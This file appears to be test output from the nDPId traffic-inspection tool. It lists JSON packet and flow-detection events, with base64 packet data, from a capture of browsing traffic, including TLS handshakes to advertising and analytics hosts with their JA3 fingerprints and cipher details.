+00454{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3444,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":370943,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC0OFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADYOtHmx54BuzYIpzlTJI8RgBAB+y30AAABAQgKfyZLOsLXQaM="} +01148{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3446,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":371089,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gC0OFAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADYOtHmx54BuzYIpzlTJI8RgBgB+970AAABAQgKfyZLO8LXQaMWAwECAAEAAfwDAwgp1anJVpvxZgRnK\/Ii+gtEvGbJCYcqFRsrqueQf6vRIJCDNh4n+qlo6kd0ODvy\/AwDjBO0nZ+gYy2KZgyiYgg0ACDa2hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOamgAAAAAAFwAVAAASYWQuZG91YmxlY2xpY2submV0ABcAAP8BAAEAAAoACgAICgoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkKCgABAAAdACCaFYCIYTRmnTxfH8RhAM0mES96Hrj9vGr3nYL6Ox9VMwAtAAIBAQArAAsKGhoDBAMDAwIDAQAbAAMCAAKqqgABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00824{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3446,"source":"reddit.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":4,"flow_first_seen":1605291688336,"flow_last_seen":1605291688371,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::d83a:d1e6","src_port":51102,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ad.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3449,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":371819,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSYAkAAhnO4AAAZE4\/jAk6EqAcsBIEmLB5kd7IUo3\/YpAbvbeuzTe9OJtD5hoBJXgGMHAAACBAV4AQMDAwQCCArC10GlCLeWmA=="} +00454{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3451,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":371834,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gATUNACAGQCoBywEgSYsHmR3shSjf9ikmAJAAIZzuAAAGROP4wJOh23oBu4m0PmHs03vUgBAB++b9AAABAQgKCLeWs8LXQaU="} +01153{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3453,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":372055,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gATUNAiUGQCoBywEgSYsHmR3shSjf9ikmAJAAIZzuAAAGROP4wJOh23oBu4m0PmHs03vUgBgB+yzJAAABAQgKCLeWs8LXQaUWAwECAAEAAfwDA9hatQx\/QktbULCFc2FQNgXPGrp+qPvBQrE5NDlBZlE\/IMd+e8Lduh2\/OW58Rm5lIQBoGyh8j\/3MT9YMf0bL3Me3ACCqqhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAGQAXAAAUcnVsZXMucXVhbnRjb3VudC5jb20AFwAA\/wEAAQAACgAKAAhKSgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKUpKAAEAAB0AIOhk20ZK7Hqhb4\/e3Kx4aK6U4Kcjb5InvqFomt\/cTww3AC0AAgEBACsACwr6+gMEAwMDAgMBABsAAwIAAtraAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00834{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3453,"source":"reddit.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":4,"flow_first_seen":1605291688344,"flow_last_seen":1605291688372,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2600:9000:219c:ee00:6:44e3:f8c0:93a1","src_port":56186,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"rules.quantcount.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":34,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3505,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":397011,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnC63k29KV6g6gBALMC9uAAABAQgKwtdBun8mSzU="} +00456{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3516,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":408044,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnlMkjxE2CKk+gBALMCKeAAABAQgKwtdBvn8mSzs="} +02346{"flow_id":34,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3517,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":408044,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnC63k29KV6g6gBgLMCSiAAABAQgKwtdBwX8mSzUWAwMAegIAAHYDA+v8tGquaRc9Lv\/hFuPq8iFYOQIBbxzqAyuY7Zc5kLz\/IJ+TN+GJohJ\/sCFH1vMdRLlZ2ieR3T3a5tv50MEc6iCkEwEAAC4AMwAkAB0AIA8xgsrVa5gWqF9iRDsp0biSTIqha8CiSv1l6\/cl4OBeACsAAgMEFAMDAAEBFwMDCrKmwS8nc0JrhLfUXXRtsb5uk9Yo52gu+gsslOrxWYq\/jztGZKeEqWKgac0YaRHrXtDeq2SWNGdlcuBL0cHUxdPsb0qG79Ch7YrQRiZUkIbyWX\/koVns12mM+q2wq8XAdMf6CzrG4zKlPh3lf7EsKkTN+27jV+QbH+Grgf8KrtLCOtGpmJXK6CfUfuHnfJ7JUaNODpfbzMtqFizMLzFtLvkpLIK+rcnaWZmifdaFqC9N7gVeRvELLG1YqyHkEin0DmVGN9Msn+0gfuHwjmRqMsZ\/m5ZqDkNv9a9ROGkedysmTKgxsAVDTEeJbzQ7xw9uTt+oij+hRS91OYul\/LZraB7fXdFi7xs4NvUlfQCNQRpwe5t\/9rHk2Ju4EOJv8B6tBB0bdPNoGtLJoq+YFQwPtZ1lRT4lAOlDnz59tAzA9uUD12Ah5nIj24hn2rS4bc82ZIMaOpaLEmw2GOa0oNx9nG0iNtm1ETdR7VfILeEf2KsV7uLAAxxo8wEy5V9GsR+N68B5b8GH9i6263ol82VLdbNc8U9DQKe7EysNpBh5pRvVYob396fmW6+UogCoA9F9Dia3RSbTeQQG+Tpn\/3AIc+2Dp9F6qzzMlL7TJO01MMzt6bmD63vi4t\/Y4ulRmLGC9181W\/Qp19\/efpBPkcwz08VnEFRxHiiE4Y\/jZRvkCvv2gk2+U8Tqm3W153ZCMagdFGhQJzYlcTUfi+ZLIfVqdsjcdcUKGGsIrpdWL\/eBCXwVmlyuIqrtLU2WxsldfFRgxKP6JO7jEGanLn0Krw1EwqgMFVeP1WE3B86dZ8HM+2QhG5i8020xv0A5DEhzvOkwE3ZXUM\/AzLZTUjgMtw2han7nU5i6vpQECMX\/RuN7wh9t5Ty9QAYJ7CkZBgQvBbP\/rJsuJp\/IXUYwN8GyBeLXDUfFAVEIjU9EXV\/EyEf2u+7Lm50dg+5O7w29g5E03PXLiah+HBY0aUOCe91U+SPWZuhVzEQ7jpstGY3QO+Ih0n+0ZePLrfNSJ+VkV7uA0jdvV7umHcF8ysFuHozJbHa1OmEsMz96i9TRM6BoZi0fdKRwKv3VRrzSMsGNS+YNGFUO+m\/e5k+KcOvIBi\/jmkkomj3wEu2giuwrl56xsBc4NyUnUpNzWjT71BN0JmCDqT8xitJDi5MnsG8VQBmMtYeVfWnXTfmqReGrwRrWWZrD\/neFoEaSBGXP+YgX5XuGyxT7tk9NOAUbIM7mnd2Ph70qX4jN+uPqJQPa1+y9tt3eJqK51l6oOq3UDH7UQe72F7Bv9MMA6s0PV0BT4LhrJHMNCZPf+l+nQ82689577mwV0Jf2OyY4peT0EFNg9MDr86Ua9\/3\/2XJux6hwIHs0sx8hvEqhdpBHlhl8qxJionM\/pP0Mf2gPIDsUIqSEORWoT4UAfXSW66toXqqhQPEiS09SPhZ0XwhGLZW3l0iWu4aXgz1Ss9oCNTInb\/U\/xxOIRi3NfaaYnCs\/7UR6p+MjOOHrW1FSLCiluNEriP4nXzBKuHbIg3CzCyJh5M45F3Yu9DHg1CuvCHF317tgoobZbLFBR0sZjGTX64+8FGPnhI5fnc6hR4yY+U5r+\/BF1zy9QH0Sed21\/KfIRFlW9NKQBVzyZDDdzLFSug1lg5nSagu9+rGr87rM\/Yh8eRLGszxYmIHElkKw9Q=="} +00865{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3517,"source":"reddit.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":6,"flow_first_seen":1605291688324,"flow_last_seen":1605291688408,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::d83a:d1e6","src_port":51100,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"ad.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":34,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3518,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":408071,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDP1bACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADYOtHmx5wBu0pXqDout5jbgBAB8TMPAAABAQgKfyZLYMLXQcE="} +02342{"flow_id":34,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3519,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":408513,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnC63mNtKV6g6gBgLMJhgAAABAQgKwtdBwX8mSzWirApCSz3sQI42Fj6NwAKOQFWwx4xH24hxUU7e1RSdP5ldgb3b95LkJDeHNpmZNSN\/RYDqJf1t+5nY1lIQtbG6EnNR5bRfJ8i5yTt6hPdAhD0dqp5wfRTXVOp9dUACNLiNinly42GzrWwkTqltlKelvSTQVhrtdIiQ38spOtz+Uw9KU3Ir5ijSYU+Gn8Za5nQCP+nxVY+iA1uL0gr57MTARIGt5P+Sxd9C+8LLlGSSjoIYR+i\/r\/MGN5GUZvXdLA\/wCVrkAi7+fLOJAJBrC35JyEWBfU4ScXogECvLHNu5xOKdgGVQEnYGMDoRfTRqzgoqHdKLofFTlzrGUSJky9FO3Rw4SyD9cLP1Bgbpe4SKF\/zmJjfg3d58M\/NVB2OYKqPuppvSWPdyiBYVvQKTKm7kZHUy2TB0jBK2ZfssDt7us0KeB4Clrxuz32GnSwqSZrFQgs1X22AUzOuTEltWVJwLE2Ek8RxQxRR6CgGk9iRwutMb9IIQQjDAyv6rvrcJhoQOBR8LuAnmxA1R0llEeKCiqwnnhegPNrZcDr6pFQa1ftB8miU28gZbtvvPfgSNgPPZlmdjcv7Go7VsoKfRMj1NPbGYtZd1pGe22VHZrBbb\/EnM4NDgZU7X2wAXmnvpE3nmr1yOLdyNESUNxyyfOnWk3y6t6IxTQg4kZTlxSyUdNzCKhq7Ll+NK59W\/oAjDutyYMdH4YxAkwOAVdtK0fHp6rzLijwvSezDF1ZkWvD2eptJofHUUxJbYWkMRa6A52EwNdRNH8yasup6HJJdyGrzP\/UYu4QY3e7oAEipBeTPGZCmrfY9FgiT9W1\/Fjpa2Gt7BqENznE0H2fOoOvtyU5mcZd0zasKkJPvaZ1x\/+kMEcZGpX31AzVzhTj4ZB9yvUg4pEiOKNTYPO0jOexv5\/CPKxWvCMUW0ur6QaSJCaeTWOdw52+jJi5rOz2j04XnZlro9UZDcv7U59Ib0jsox1y0XZFX1yomIjMoWrDPKWNtJZ1kVg7Yasc39yAgo9ZCwEjzIKYw7aazuX2C4pHHviVD0uNPJ59dGx6xH2zU5wylDuW3UJXbYCjy\/ujmhy2lsOb+0+WK71ubbTckelE38cy1sSmc2XI1zZ1CnRU61I7mh7uFcYHsIuMkO0x7gfwz9AMS4\/R1OeDGuSXCov5jFWhHL4jXXV0Y6lAgIUfWijaIIYDtQp129qW55eoEqrkdFqaNYyPJYIB6wW6HgydBYXcggVoh+ojOjc8jUK+8UfowtOp8o5bXGQbybmrhVjaykhslKYCz6rsF2ZAAxjQ6bK3OJRcgF+y0OIL3HlXVQY\/O7WGhNBlj4VCDrKCY9VqO09YtL2Im+mK2qYrKLIkxR2S+BboyeuP28QS+QtKAwXKX\/JYxiAeK49\/DU7se3YQzmtSzi3T3NMcE73IMj6bAAaZFY4Z2KD\/lO+3VeH\/GnuUhE+Usd7lP5d+FMjLHOfbdnwO7EZtt3xZyJCG0EdA0IEF1iZCOJr3jnBiee0shhBOgRvFCX5Di2ePGLoRRk\/4oDD8KpxmEcSXWBDXRbefKafUk+GYkX\/jLilxiizE8cB9W04tSA+nXA\/Wf+vPQwHeAdU\/ZTAfPYsNUQ1dgDPrp\/eVDaEiw9K345b\/eM4ZIf\/Lp7H733MHlrS2fvSf5H2VmZ7Lzm8ccGZPJ7HjUAI6baow+5NTEzZpYo8JzCWXZMssAggcRg0eh5\/W3GnHcfY8XXByZGiWGcNzDuZlC3AY+F5ZQiVTeQI5jUlOEL1f\/+sLAiXrby1ptzpNASaigLSqm884hj3rfnwMt3Em6ol8KzIYe1hundMYfNbAPpieN0cXNkf54oD0lUFdbmwAA0xQ=="} +00596{"flow_id":34,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3520,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":408514,"pkt_caplen":186,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":186,"pkt_l4_len":132,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAIQGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnC63nkdKV6g6gBgLMFT\/AAABAQgKwtdBwX8mSzWZAQtKOmC1Cmerdjiwl25zxvQlLKTxyRIsfRSd59vSCP1FHBqpjeScKIz0NcYEkjRQ7qA8y6PGIoYEoZ4T7RwBEOdmiEu9wwZaGN0bxBSDJZ\/N\/2bdOdfViyR0g\/bbUOqTfL5\/"} +02342{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3521,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":408514,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnlMkjxE2CKk+gBgLMBQ5AAABAQgKwtdBxn8mSzsWAwMAegIAAHYDA4OvVEE8P8LeBhM9sxYB7JO33u841one47T4FjONL3E7IJCDNh4n+qlo6kd0ODvy\/AwDjBO0nZ+gYy2KZgyiYgg0EwEAAC4AMwAkAB0AIGlLEoqHSJOtf0NQaf58sba84Rk29Czu8zFA6RCb0SgHACsAAgMEFAMDAAEBFwMDCrNpssVxv5bEMF6N0DvU13HZFusYYefzxcQSvf6yfnUhBgmdDW9hrhPPT2nUbgoAoNP2KUnTa7Eu+zkSDXr+\/8rW7sLWiEB110AqG2ZyKA4audA79UGs5fRFb5GyFTBt2uxcMpYS+RzRKO0hgIJHDc+NhZ0NhuOqWT3K0OzSpBxq+xq7UKVK9U1tnZCyLu\/XTk8xx9Bf1FSoEJHPDXVfOlXNdl1CXnb\/baRsWd7zLPj1h4f5QFWeXNqz0qRnO+4ABMJY4DYc7XQFdhSI0tmnOra1XMIMPBVaoiBwRaLkX2CEojLoq+7Jd\/XmC0yRS6ysd\/5K8UK2mah\/mzExS7266A2tN\/BdOchaoKCtTqUAy9QBFHidUyAEykhnPmmv9XazKodZ3D5Umh5JluHiOZ29sjOh\/mHEyDT9Evfst3uHVCiUvjdkQEJ0wgW+2j\/SY8MhP5bMgYT4keK4DETi5xpMZKtyN2wSUZ4ZHiCl8\/+hExmMQCaja1BGLtWCJUmPEsNX6um\/wFyfPNRY192cV9aCo3trSu0spUJwTeF0iVTanT\/9cqlj5iyJndfyz6F5sMhMrmU9rOxzmF2FqOvoYloOUuLdEQFI38F6JKYcnikVB4tQ3uQSB9SjQIo2xTJGbnEQecMH9vvcAGAY1uIrRloh4Oizv3gHFPIoSGbdl29S2oZhKT3FSbYA4TGtULxkk0Ss0GIL1jw2o5jgRY\/VRdW4n43ANilnA7LloaFhUMvjfB5J0lsnVgDE1IpbBqBs7JtyG2sYN6+lbrj+suNaqDe4UD6f4Ue6ewwl9GYNeXw5mNX502l4gWiicxnzQemyw3BALd1l28yO5f2End4P7DRyLinFnrdJTOe7lmipXz1y8wC34D399b29znf0PoSSHTpvOATbEFiNvrRDskEkGIGTuSFSJmliQDiSScVsqv1+XnUr9jMN9Lkjpoz4rDj8Sbn7EvaJS9fpBpj2btbGNwcMYZEj5voMlIIdCOwU944ysgEM\/1skaNQS1tkUNh\/u0MVsZjLf\/RBBXDFevy5afuDxyKzfom9ziNW4QzGaYXv\/wgYkR4vSvAqoslJp\/foH0jO9Rj+txz0UXxh\/CjW7i0OHKflEx4lZXqH1qVvhnAeCoCbhQRhxcaXdzl3zI1KecpBErUPA87UEXGOX3Ah5usBkun6pj115ffqMJFvwWOAjiOflplJDmocMR5xYQCDIBhPxDBts7wmCr8i9luh\/Hpu6qI9C8xZcu7gA7Tdrv+lLdU1uoN6qOTj\/Veo6+KCrLTcPThYsTsobiHQW4ex+hc9g33P21h6ERqwY9Ts5oALhTHUwwLarJ5\/n4lkQDzVWyXcrqU\/Ri9Aj+7pM3tYzify\/LLjiDOCXfR7DNvwa4SU+LBxn4k4Vtn2CcSsV+Oq1H5QpHKcork61+w0mYcdMNbd9yOcLTOyQhAif9sessY92daMDU7oNhyypr+aR18H5frX2iuyeb1iMO9bRlnfawA21aD8AukqYCRiIi5elxjfRgyi3\/nPT1We1oYGFUN0wLBJqOd9rRQkxzDrniNseELyEaEyz5e9+Dsf\/vt7M8LrSaJCnIEkMzTWLznw+MXEc1oTj8Jj8lDLzOwEOS4yxQyOkQZqzeD8Vfm3j6XYEm6Ks71a4zt7Myv2h6IWvx+aH22\/SyNfj3Q=="} +00865{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3521,"source":"reddit.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":6,"flow_first_seen":1605291688336,"flow_last_seen":1605291688408,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::d83a:d1e6","src_port":51102,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"ad.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02357{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3522,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":408514,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAANg60eYqAcsBIEmLB5kd7IUo3\/YpAbvHnlMklH02CKk+gBgLMJidAAABAQgKwtdBxn8mSzubt+A7eUnAKISP8nJYU3iS3hDr2o2WsV4hnMNiRHCxxo796342BLTCKmI5ot2fMtZvSeM\/Pjnol2gJEVIgbWf9Sgw4fIyTWNR9M9KWfNFgSlL\/fQUStiPMs4wmCoonos2Nm6WBA2FcyNSI\/u\/5V34q2ceSNijdqAfD0QnpUZj93+j+QBAfSnpFp6MZwtA1bzexO3LGd7D6OH\/DDSOg4UtmXllnmhB2Gteqq6qhEVhG\/rZ5sQt7ArAKYstCz\/nvZtjT7zZ0+idrPuJBx8\/vxj0MSDpoJShpGPF3u56Yqbq\/0Q8lzOW14xzNj6EaEpmmY5K+bA9aNSL0ndRymupnMUH+5ebOwfVs8E\/5r1Mdx+YuSa\/7ODDRnd7i5t\/KnOtmhIfRTnlRWN9LfiqMuWLLf0COjJNPXNzaeIIU77hIYcOuulfrwjcMB\/bQqZUKQnMy1+sSLDRToDihTai8oRME6baNPLfLWu6ssCvcZ+lFZ4UpkrLQFKD76j9KIMjjl7kpQgRIOxRVW+cJnIFByiVjR6M46vMbmB2Ri3TtLLfekcd\/7Hxaniwt9xtbhl0s1OrkQFQw\/Zv45yPUeP3hR5i\/SZ+PFr75nTSXz1Nnq8C9v+Dg3YPc44e01drs6m3Es83LWUUfIM1M7arKPkGysaOI+Afj9XtgLMrtFBq4v3T6J+Z86A+pr6tmXpkRaJ706Zi\/CiR8AXPtDAtmL5+7A6+J+3U\/yJzRgAi5kTOXwvnAdnHl91o7QiXMdF7x5o7q\/NcYcRPu1l\/HI5UIjb3\/WAaRytg6y\/3qfyq2KH3Egx4eLRALXhmOGFq8CtAr4kv+2CqSC2CqC\/uVudLrLRrIAV0WzYgkw3NMCqnu5rORX81ifzhr76FHPl9AhSw2cP\/cn1tXjZYZll6KQDgjgSmP0JH6kDQDeQUnRPSz3PYrilhYZsVpFxTqn9Adn8RF93ACbja7v0mTQOtbP0tFC4WG1Uicqi2gThl4Bda22dgL3pSZJ8R6iwI9+G+OXZNxAK7XlB+F0\/xynawgmRRCbcW1LNoa5Jo3vN2q5gxkyhtu5W6AsRpVLnvDYb674PgYX2AA\/vbw1lwW\/mV58hqEWDSIFGe90E3SeGgDrHiFzWtLT9pkJkImPw0RyYxsO0dlIowTt1Qp+a4v2t5vTlP0JCyugoMe+nnlinAEv6LDwOJBO9b9xAGo\/pH2KRq1dhmNvvlM64oWl1Bcwufft15eVarDd7kNjU1uIoCC98v5UVYbkgyBbzsncHiS6L8dYjOx1pyacjPOAKMaQIbUgrIrYZwGaquGGx7Gl72P8nIV+1hr\/d\/YpfaO\/mgjhnWtcaBFEEATwtRlJzw0qGkIdbhZduOfkOTsuEHXBVzd8B\/HXQcNo74XxhbnQouK5lkoBz4QoWRVGPxVXleJU2Ju16V2khW8Wjxl7\/jfeIYrZUp8MoZ\/EKk2xKlEYz0uJuzasXIhWri8zq\/IkYbfN\/8TXkUISibbxafwkOQzdiJQNiWj6M0y3g+f7po3IimQDI\/c\/J0yzgE8qDpjt62KTSaSvxqrUZPHVle+Ak5NdA0mpQ07voHqIJ56EDLLjc0b7uioVGqoyr0UwcK75gU4bY\/5sz0i5l1UsXyE\/xhp1BW3DXNF5Khf5ZdLLls8sJKh\/Nriey9lUyLDAPH\/v3i3HiVzIMUuUHb4oraROExZEEs+6nKIiKZ238KRWP4rjUaAUHbLDH1icvrh8kloKtrNG\/3AG95tfcVl9M239dTnFB8XQzcduxkqnjBHvLIWcFmkB89yQDJRoKztwa73vUr54VvrSgOLHFcur7S195tghyTX+dKi4pAB6pQYwfJ2QFL8jnSHh0ik7TzCwQ=="} 